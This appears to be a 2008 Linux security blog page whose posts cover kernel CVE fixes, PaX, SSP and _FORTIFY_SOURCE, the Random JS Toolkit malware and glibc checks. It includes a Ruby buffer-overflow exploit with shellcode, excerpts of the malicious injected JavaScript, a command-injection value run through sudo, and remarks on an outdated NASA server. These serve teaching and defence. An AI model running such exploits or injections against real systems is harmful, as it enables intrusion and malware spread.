Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

Mar 1, 2008

Violent Upgrade Cycle

A RedHat fan visited the NASA Telescience Lab to check out the RHEL and Fedora Core installations. One of the pictures caught my attention.

If it ain't broke, don't upgrade it, right? Actually one of the guys in the lab told me they are in the process of upgrading to Fedora 8 and playing with 9 alpha.
This machine is possibly http://countdown.ksc.nasa.gov/. I'm not sure what's their policy for upgrades. This is one of those install and forget setups. I can deduce that no major updates happened after installation.

I reckon the installation happened around July 15, 2005 to August 25, 2005 where at least a kernel update was done, that's why the kernel is kernel-2.6.12-1.1398 and not 2.6.11 which is the Fedora Core 4 default. You will also notice that Apache is still at version 2.0.54.

If this is the norm at that lab we can assume that the other machines are under the same upgrade cycle. The machine looks like it does not perform any critical task and contain any important data. Possible entry points like this is all it takes to fully compromise a network.

Feb 23, 2008

Posix File Capabilities

I mentioned before that suid binaries are getting scarce. In Linux, since 2.6.19-rc5-mm2 posix file capabilities are implemented. It was introduced into mainline in 2.6.24-rc2.

As an example let's look at the ping program, as you may know ping needs CAP_NET_RAW to generate raw packets and the old practice is to make the ping executable binary suid root. Tinyping is a small assembly version of ping.
/usr/bin $ uname -a
Linux sandbox 2.6.24.2 #5 Fri Feb 22 12:40:15 PHT 2008 i686
/usr/bin $ ls -l tinyping_suid
-rwsr-xr-x 1 root root 320 Feb 22 13:09 tinyping_suid
/usr/bin $ tinyping_suid 127.0.0.1
127.0.0.1 is alive!

Of course it works. Now a non-suid root ping without capabilities set.
/usr/bin $ ls -l tinyping_nocapnetraw
-rwxr-xr-x 1 root root 320 Feb 22 13:08 tinyping_nocapnetraw
/usr/bin/ $ getcap tinyping_nocapnetraw
tinyping_nocapnetraw =
/usr/bin $ tinyping_nocapnetraw 127.0.0.1
/usr/bin $

Fails silently. Not let's try a non-suid root ping with cap_net_raw set.
/usr/bin $ ls -l tinyping_capnetraw
-rwxr-xr-x 1 root root 320 Feb 22 05:01 tinyping_capnetraw
/usr/bin $ getcap tinyping_capnetraw
tinyping_capnetraw = cap_net_raw+ep
/usr/bin $ ./tinyping_capnetraw 127.0.0.1
127.0.0.1 is alive!

It works expectedly.

The capability flags are:

  • Effective Set = e
  • Permitted Set = p
  • Inheritable Set = i

To know more about these flags and for valid capabilities check CAP_FROM_TEXT(3) and linux/capability.h. The user utilities are provided by libcap2.

Feb 16, 2008

Coredumps

I noticed a design error similar to CVE-2007-6206 in DragonFly BSD. It is reported that OpenBSD and FreeBSD exhibit the same.
   

My suggested patch:

--- kern_sig.c  2008-02-14 13:41:12.000000000 +0800
+++ kern_sig-20080216.c 2008-02-16 01:15:01.000000000 +0800
@@ -2066,6 +2066,12 @@ coredump(struct lwp *lp, int sig)
goto out1;
}

+ /* Don't dump to files current user does not own */
+ if (vattr.va_uid != p->p_ucred->cr_uid) {
+ error = EFAULT;
+ goto out1;
+ }
+
VATTR_NULL(&vattr);
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);
vattr.va_size = 0;

A DragonFly BSD developer asked me if they should rather remove the file and recreate a new file which then will be owned by root. In my opinion checking for ownership is better and safer. We are avoiding other possible bugs e.g. allowing to read files you don't own but resides on a directory you own. I also find my fix more compact.

By the way as seen in my patch, we wouldn't want to hard code != 0 because DragonFly may implement a type enforcement system or authorization framework in the near future.

Feb 12, 2008

KERNEXEC vs CVE-2008-0600

Besides ensuring that no untrusted user can execute arbitrary files via access control, rudimentary Unix permissions and TPE (Trusted Path Execution) PaX is effective in defeating some kernel exploits.

PaX KERNEXEC is enough for mitigating the recently disclosed vmsplice() vulnerability specifically CVE-2008-0600. The exploit is reported to work since Linux 2.6.17.

Here's the exploit ran on 2.6.24.1 (click to view).

I patched the kernel with PaX without Grsec and activated the following:

  • CONFIG_PAX
  • CONFIG_PAX_NOEXEC
  • CONFIG_PAX_KERNEXEC

Now the exploit ran on 2.6.24.1-PaX (click to view).

Thanks to the PaX Team.

Feb 11, 2008

Reliable root since 2006

A couple of advisories detailing local privilege escalation vulnerabilities in the Linux kernel has been published. The CVE entries for these vulnerabilities are:

  • CVE-2008-0009
  • CVE-2008-0010
  • CVE-2008-0600

Both CVE-2008-0009 and CVE-2008-0010 was fixed upstream on February 8 with the following commit message:
splice: missing user pointer access verification
vmsplice_to_user() must always check the user pointer and length
with access_ok() before copying. Likewise, for the slow path of
copy_from_user_mmap_sem() we need to check that we may read from
the user region.

There's a public exploit for CVE-2008-0010. Below is the fix from the Linux tree. The first hunk applies to CVE-2008-0010 and the second to CVE-2008-0009:
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1179,6 +1179,9 @@ static int copy_from_user_mmap_sem(void *dst
{
int partial;

+ if (!access_ok(VERIFY_READ, src, n))
+ return -EFAULT;
+
pagefault_disable();
partial = __copy_from_user_inatomic(dst, src, n);
pagefault_enable();
@@ -1387,6 +1390,11 @@ static long vmsplice_to_user(struct file *file
break;
}

+ if (unlikely(!access_ok(VERIFY_WRITE, base, len))) {
+ error = -EFAULT;
+ break;
+ }
+
sd.len = 0;
sd.total_len = len;
sd.flags = flags;

CVE-2008-0600 was fixed upstream on February 10 with a commit message of:
splice: fix user pointer access in get_iovec_page_array()

Commit 8811930dc74a503415b35c4a79d14fb0b408a361 ("splice: missing user
pointer access verification") added the proper access_ok() calls to
copy_from_user_mmap_sem() which ensures we can copy the struct iovecs
from userspace to the kernel.

But we also must check whether we can access the actual memory region
pointed to by the struct iovec to fix the access checks properly.

The upstream fix:
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov,
if (unlikely(!len))
break;
error = -EFAULT;
- if (unlikely(!base))
+ if (!access_ok(VERIFY_READ, base, len))
break;

/*

There's also a public exploit for this issue.

Linux 2.6.24.1 which was released on 2008-02-08 20:25 UTC fixes CVE-2008-0009 and CVE-2008-0010 only. Simply CVE-2008-0009 and CVE-2008-0010 affects 2.6.23-2.6.24 and CVE-2008-0600 affects 2.6.17-2.6.24.1.

A little background on vmsplice(2). Along with splice(2) and tee(2), vmsplice(2) was introduced for public consumption in Linux 2.6.17. The splice I/O method was implemented by Jens Axboe.
VMSPLICE(2)                Linux Programmer's Manual               VMSPLICE(2)

NAME
vmsplice - splice user pages into a pipe

...

VERSIONS
The vmsplice() system call first appeared in Linux 2.6.17.
...

Linux 2006-04-28 VMSPLICE(2)

This means we had at least one unknown exploitable privilege escalation vulnerability since June 2006. This vulnerability is possibly what was used to obtain root in recent mysterious compromises.

We can assume that the bad guys are hoarding more of these frightful bugs. So how can you protect from these vulnerabilities? Obtaining an under privileged shell is said to be easy because of insecure web applications and easily guessed SSH passwords. A properly configured access control system or by not allowing untrusted users to run executables from their writable directories comes into mind.

Jan 29, 2008

SSP and _FORTIFY_SOURCE

For overflow protection Stack Smashing Protector (formerly known as ProPolice) and _FORTIFY_SOURCE are two of the most prevalent extensions for GCC and Glibc. Both are independent of each other so they can be used together for an insanely paranoid setup.
Here is a sample code which is easily overflowed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc,char *argv[]) {
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
The normal x86 assembly output without SSP or _FORTIFY_SOURCE for main() should be:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x10c
mov eax, dword ptr [ecx+0x4]
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call strcpy
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
Allows for a clean overflow. Here is a exploit for the above code.
#!/usr/bin/ruby
shellcode =
"\xeb\x0d\x5e\x31\xc9\xb1\x28\x80\x36\x02\x46\xe2\xfa"+
"\xeb\x05\xe8\xee\xff\xff\xff\x33\xc2\xb9\x03\x02\x02"+
"\x02\x52\x6a\x61\x02\x02\x02\x6a\x6d\x6c\x71\x67\x6a"+
"\x67\x66\x42\x67\x56\x5b\xb8\x0b\x02\x02\x02\xb2\x06"+
"\xcf\x82\xb2\x03\x8b\xc1\xcf\x82"
ret = "\x1c\xee\xff\xaf" * 4
sled = "\x90" * (ARGV[0].to_i - (shellcode.length + ret.length))
exploit = (sled + shellcode + ret)
system(ARGV[1],exploit)
ARGV[0] takes the input size and ARGV[1] is the vulnerable executable name. The shellcode just prints ed@eonsec.
$ ./dumbsoft blog.eonsec.com
$ ./dumbsoft `ruby -e 'puts "E"*256'`
Segmentation fault
$ ./exploit.rb 260 ./dumbsoft
ed@eonsec

The relevant gcc options for SSP are -fstack-protector, -fstack-protector-all, -wstack-protector and --param=ssp-buffer-size=. Let us see what is the effect of fstack-protector.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x11c
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-0x8], edx
xor edx, edx
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call strcpy
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-0x4]
leave
lea esp, [ecx-0x4]
ret
You can see SSP in action, inserting the canary from gs:0x14 into EBP, after the call to strcpy(3) the canary is retrieved and checked. If it is untampered it will jump to .pass else __stack_chk_fail is called. By the way a quirk of SSP:
$ ./dumbsoft `ruby -e 'puts "E"*256'` ; echo $?
Segmentation fault
139
$ ./dumbsoft-ssp `ruby -e 'puts "E"*256'` ; echo $?
0
$ ./exploit.rb 256 ./dumbsoft-ssp
$ ./exploit.rb 257 ./dumbsoft-ssp
*** stack smashing detected ***: ./dumbsoft-ssp terminated

Now on to _FORTIFY_SOURCE. The only relevant option for GCC is -D_FORTIFY_SOURCE=. Here is the assembly with -D_FORTIFY_SOURCE=2 used.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x108
mov eax, dword ptr [ecx+0x4]
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call __strcpy_chk
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
$ ./dumbsoft-fortify `ruby -e 'puts "E"*256'`
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x45454545]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
$ ./exploit.rb 256 ./dumbsoft-fortify
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x90909090]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
As you can see _FORTIFY_SOURCE uses a different way of detecting an overflow. It has __strcpy_chk which as the name implies checks the input to strcpy(3).

Also it looks like _FORTIFY_SOURCE catches overflows earlier than SSP. To be clearer here is the assembly when both are enabled:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x118
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-8], edx
xor edx, edx
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call __strcpy_chk
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-4]
leave
lea esp, [ecx-4]
ret
If it is not obvious the __strcpy_chk comes before the canary check. I have not taken a look at the advantage of SSP over _FORTIFY_SOURCE maybe next time.

Jan 25, 2008

Ugly logs

Over at the LogAnalysis mailing list a pseudo contest is being held. A lot of the log snippets posted really is ugly, funny and useless. A particular log snippet from Novell OES 2 Linux's Lightweight/Linux Auditing Framework is being ridiculed: Novell_OES2_LAF_log.txt.

I admit that it is ugly but it is far from useless. I find the information provided quite readable and verbose. There must be switch to make less verbose. I think the following is not really useful:

  • arch
  • a0
  • a1
  • a2
  • a3
  • items
  • subj
  • key

The format needs improvement, I guess it was formatted that way for easier parsing by shell utilities such as AWK. Splitting it into multiple lines grouped by type e.g. guid, uid, eid and with a marker for easier specific host identification is definitely much better.

If you are wondering why would anyone want detailed logs like that. From a security standpoint it is good practice to monitor users/directory/file/application access and of course compliance to SOX Section sec 302(a)(5) and the like.

Jan 20, 2008

Random JS Toolkit

Last week we saw the media coverage of the Random JS Toolkit. Several Linux servers were compromised for malware distribution, directly infecting visitors. The initial vector of compromise is currently unknown and the rootkit installed afterwards is very stealthy to an inexperienced administrator.

It was reported that some sites were compromised repeatedly even after a fresh operating system reinstall. As of this moment some of these sites are still up today serving malware even though they are knowingly rooted.

It is easier to analyse the malware infection than the server compromise. The toolkit inserts a randomly named JavaScript file right after the <body> tag of web pages.

<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
Here are sample diffs of infected pages.
  <body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'
- stylesrc=main.html>
+ stylesrc=main.html>
+<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
<div class=Section1>
<p class=MsoNormal><!--webbot bot="Include" tag="BODY" u-include="main.html"
</head>
 -->
</script>
</head>
-<body>
+<body><script language='JavaScript' type='text/javascript' src='pkfae.js'></script>
<table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
The line is inserted by the toolkit on the first visit based on the IP address and then randomly inserted afterwards. The malicious JS file has several malware embedded which is obfuscated by unescape() sequences and it also downloads a trojan binary to the visitor's machine. The filename of the binary is also randomized as seen on the top of the JS file.
var arg="xxcjutss";

var MU = "http://" + document.location.hostname + "/" + arg;
var MH = '';
var MUT = MU;
for (i=0; i < MUT.length; i++)
{
var b = MUT.charCodeAt (i);
MH = MH + b.toString (16);
}
MH = MH.toUpperCase();
if (Math.round(MUT.length/2) != (MUT.length/2))
{
MH += '00';
}

var MR = '';
for (i=0; i < MH.length; i += 4)
{
MR = MR + '%u' + MH.substring(i+2, i+4) + MH.substring(i, i+2);
}

var MU2 = "\"" + MU + "\"";
var MR2 = "\"" + MR + "\"";

var SB =
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MR2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A');

document.write (SB);
More information on the malicious JS can be seen at the TrendLabs Malware Blog. This random JS generation component of the toolkit has been seen and reported as early as April 2007 and July 2007 respectively. Similar to other victims they have no idea where the random JS is coming from.

From what I can gather the initial break-in is not through PHP core or web applications since I have seen infected plain html and PHP pages. Also seen Apache 2 and 1.3 serving these infected pages, JS and binaries. cPanel has released an informative security note for this toolkit. Seems to be an unknown root compromise happening on the servers. If the root shell is obtained or the rootkit is installed through /dev/kmem the following patch can disable writing to it. Note that this is just a workaround since the real cause of the initial compromise is unknown.
--- linux/drivers/char/mem.c 2007-10-10 04:31:38.000000000 +0800
+++ linux/drivers/char/mem_nowrite.c 2008-01-20 15:26:32.000000000 +0800
@@ -179,7 +179,7 @@ static ssize_t write_mem(struct file * f

if (!valid_phys_addr_range(p, count))
return -EFAULT;
-
+ return -EPERM;
written = 0;

#ifdef __ARCH_HAS_NO_PAGE_ZERO_MAPPED

To workaround the inclusion of the JS file some resorted to patching even though they are knowingly compromised.
 </head>
<script language='JavaScript' type='text/javascript'>/*
-//<body >
+//<body ><script language='JavaScript' type='text/javascript' src='rylet.js'></script>
//
*/
</script>
And even tried to mask the server software and version in case it is an automated compromise.
$ curl -I www.reallybored.net 
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 14:52:23 GMT
Server: WebServerX
X-Powered-By: PHP/4.4.6
Content-Type: text/html
$ curl -I www.bellingerfurniture.co.uk
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 15:24:18 GMT
Server:
X-Powered-By: PHP/4.3.11
Content-Type: text/html

The details of the initial compromise is unknown yet because researchers are having a hard time obtaining post mortem server images. Based on the information available, if this is a software vulnerability I reckon this is an obscure vulnerability in Apache (or module) coupled with an equally obscure Linux kernel vulnerability. If that is not the case, most likely it is a backdoored server image or distribution software package. The multiple stage compromise and infection done on different operating systems is cunning. This is a good example why good guys should always be in the know and should at least keep up with the bad guys.

Here are URLs for additional information on this nefarious toolkit.
http://blog.scansafe.com/journal/2008/1/15/mom-pop-sites-hit-hard-by-host-compromise.html
http://www.finjan.com/Pressrelease.aspx?id=1820&PressLan=1819&lan=3
http://www.webhostingtalk.com/showthread.php?t=651748
http://www.theregister.co.uk/2008/01/11/mysterious_web_infection/
http://www.channelregister.co.uk/2008/01/16/mysterious_web_infection_continues/

Jan 18, 2008

Almost outdated patch

Rummaging around my directories to free up space I saw htpasswdc_plusvalidation.patch which added htpasswd input validation for thttpd-2.25b. I wondered if it got into Gentoo Portage because I think the patch is two years old. Found it in /usr/portage/www-servers/thttpd/files/thttpd-2.25/
named additional-input-validation-httpd.c.diff. Checking the Changelog:

28 Feb 2007; Thilo Bangert <bangert@gentoo.org>
+files/thttpd-2.25/additional-input-validation-httpd.c.diff,
+files/thttpd.logrotate, +thttpd-2.25b-r7.ebuild:
add logrotate script (bug #150993)
run under thttpd user instead of nobody (bug #151227)
extra input sanitation for htpasswd (bug #128165)
einfo -> elog
Last time I looked at my Gentoo bug report, it was not considered a security issue. Www-servers herd merged the patch in February 2007, and I only noticed it today.

About the actual vulnerability, the reporter's main contention is that some people will run htpasswd through sudo. See CVE-2006-1079 and OSVDB:23828:
larry@mog:~$ sudo /bin/htpasswd -c "blh;id>lp" www
larry@mog:~$ sudo /bin/htpasswd "blh;id>lp" www
Changing password for user www
New password:
Re-type new password:
larry@mog:~$ cat lp
uid=0(root) gid=0(root) groups=0(root)
larry@mog:~$ sudo id
We trust you have received the usual lecture from the local System Administrator.
It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
Sorry, user larry is not allowed to execute '/usr/bin/id' as root on mog.

Almost a year before it was merged and almost two years has passed before I noticed. On another submission, the netstat-nat spell (similar to an ebuild in Gentoo) I submitted to Sourcemage Linux in April 2005 was merged in December 2007, almost three years. I am sure this is because of lack of manpower. See the spell submission.

Dec 29, 2007

Segmentation fault logging

A few days ago I updated my notebook to Linux 2.6.23. While trying to create exploits for the recently reported VLC buffer overflow and format string vulnerabilities I saw an unfamiliar message in the kernel logs.

vlc[6061]: segfault at a401f000 eip 41414141 esp a3ff5888 error 7

I remember seeing a similar message from an x86_64 machine. Could it be that segfault logging was ported to i386?.

Visited the Linux gitweb interface but I can not seem to find the exact commit. In x86_64 the code snippet that does the logging is at arch/x86_64/mm/fault.c.
if (exception_trace && unhandled_signal(tsk, SIGSEGV)) {
printk(
"%s%s[%d]: segfault at %016lx rip %016lx rsp %016lx error %lx\n",
tsk->pid > 1 ? KERN_INFO : KERN_EMERG,
tsk->comm, tsk->pid, address, regs->rip,
regs->rsp, error_code);
}

In i386 it is at arch/i386/mm/fault.c.
if (show_unhandled_signals && unhandled_signal(tsk, SIGSEGV) &&
printk_ratelimit()) {
printk("%s%s[%d]: segfault at %08lx eip %08lx "
"esp %08lx error %lx\n",
tsk->pid > 1 ? KERN_INFO : KERN_EMERG,
tsk->comm, tsk->pid, address, regs->eip,
regs->esp, error_code);
}


Confirmed, userspace segmentation faults are now logged by the kernel. This also exhibits the difference between i386 and x86_64 registers.

Dec 24, 2007

Glibc malloc check

Sometimes I encounter abort errors from some programs. The error is similar to:
*** glibc detected *** ./program: free(): invalid pointer: 0x0804b018 ***
Aborted

calloc, malloc, free, realloc is the family of C functions for allocating and freeing dynamic memory. An excerpt from malloc(3) sheds light on the abort errors:

Recent versions of Linux libc (later than 5.4.23) and glibc (2.x)
include a malloc() implementation which is tunable via environment
variables. When MALLOC_CHECK_ is set, a special (less efficient)
implementation is used which is designed to be tolerant against simple
errors, such as double calls of free() with the same argument, or over-
runs of a single byte (off-by-one bugs).

The possible settings for MALLOC_CHECK_:
0 = no error, do not abort
1 = show error, do not abort
2 = no error, abort
3 = show error, abort

This means that the default is MALLOC_CHECK_=3. Let us test:
cat > heaptest.c << "EOF"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc, char *argv[])
{
char *buffer1;
char *buffer2;

buffer1 = (char *) malloc(10);
buffer2 = (char *) malloc(10);

strcpy(buffer2, "eonsec");
strcpy(buffer1, argv[1]);

free(buffer2);
free(buffer1);

return(0);
}
EOF
$ cc -Wall heaptest.c -o test
$ ./test 0123456789
$
$ ./test 01234567891
*** glibc detected *** ./test: free(): invalid pointer: 0x0804b008 ***
Aborted
$ MALLOC_CHECK_=0 ./test 01234567891
$
$ MALLOC_CHECK_=1 ./test 01234567891
*** glibc detected *** ./test: free(): invalid pointer: 0x0804b008 ***
$ MALLOC_CHECK_=2 ./test 01234567891
Aborted
$

Works as advertised.